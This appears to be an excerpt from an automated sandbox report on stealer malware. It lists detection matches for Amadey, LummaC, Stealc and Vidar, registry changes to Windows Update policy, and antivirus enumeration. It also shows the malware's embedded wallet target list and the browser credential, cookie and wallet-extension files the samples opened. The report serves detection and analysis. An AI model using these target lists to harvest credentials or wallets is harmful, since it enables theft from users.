Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 11.2.skotes.exe.f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.EBAEBFIIEC.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.skotes.exe.f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2253656280.0000000000571000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2292827428.0000000000F81000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2293075274.0000000000F81000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 6693ff7180.exe PID: 1364, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 5a20612cd1.exe PID: 5868, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2870102600.0000000001C7B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1715851813.0000000005810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2776871674.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2678008367.000000000185E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2627978298.0000000005430000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2676726532.0000000000EC1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2864346736.0000000000EC1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2213992001.0000000000E61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0882197cda.exe PID: 2324, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Electrum
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum\wallets\
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: exodus.conf.json
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: ElectrumLTC
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2215093487.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2213992001.0000000000F15000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000000.00000002.2213992001.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
